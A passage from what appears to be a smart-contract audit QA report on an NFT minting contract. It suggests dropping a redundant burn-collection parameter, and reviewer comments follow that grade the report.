gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col); require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply"); require(msg.value >= (getPrice(col) * 1), "Wrong ETH"); uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col); gencore.mint(mintIndex, mintingAddress, ownerOfToken, tokData, _saltfun_o, col, phase); collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value; }
It doesn't make sense to use _burnCollectionID
because we are already using the _erc721Collection
to indicate the erc721 collection we want to burn tokens from. To me, it seems like a redundant parameter and it only makes things more complex. Use only the _erc721Collection
parameter.
bytes32 externalCol = keccak256(abi.encodePacked(_erc721Collection));
#0 - 141345
2023-11-25T08:03:16Z
235 evmboi32 l r nc 5 0 4
L 1 l L 2 n L 3 n L 4 i L 5 l L 6 i L 7 l L 8 i L 9 l L 10 l L 11 i L 12 n L 13 i L 14 n
#1 - c4-pre-sort
2023-11-25T08:05:37Z
141345 marked the issue as sufficient quality report
#2 - alex-ppg
2023-12-08T15:36:38Z
The Warden's QA report has been graded B based on a score of 12 combined with a manual review per the relevant QA guideline document located here.
The Warden's submission's score was assessed based on the following accepted findings:
#3 - c4-judge
2023-12-08T15:36:43Z
alex-ppg marked the issue as grade-b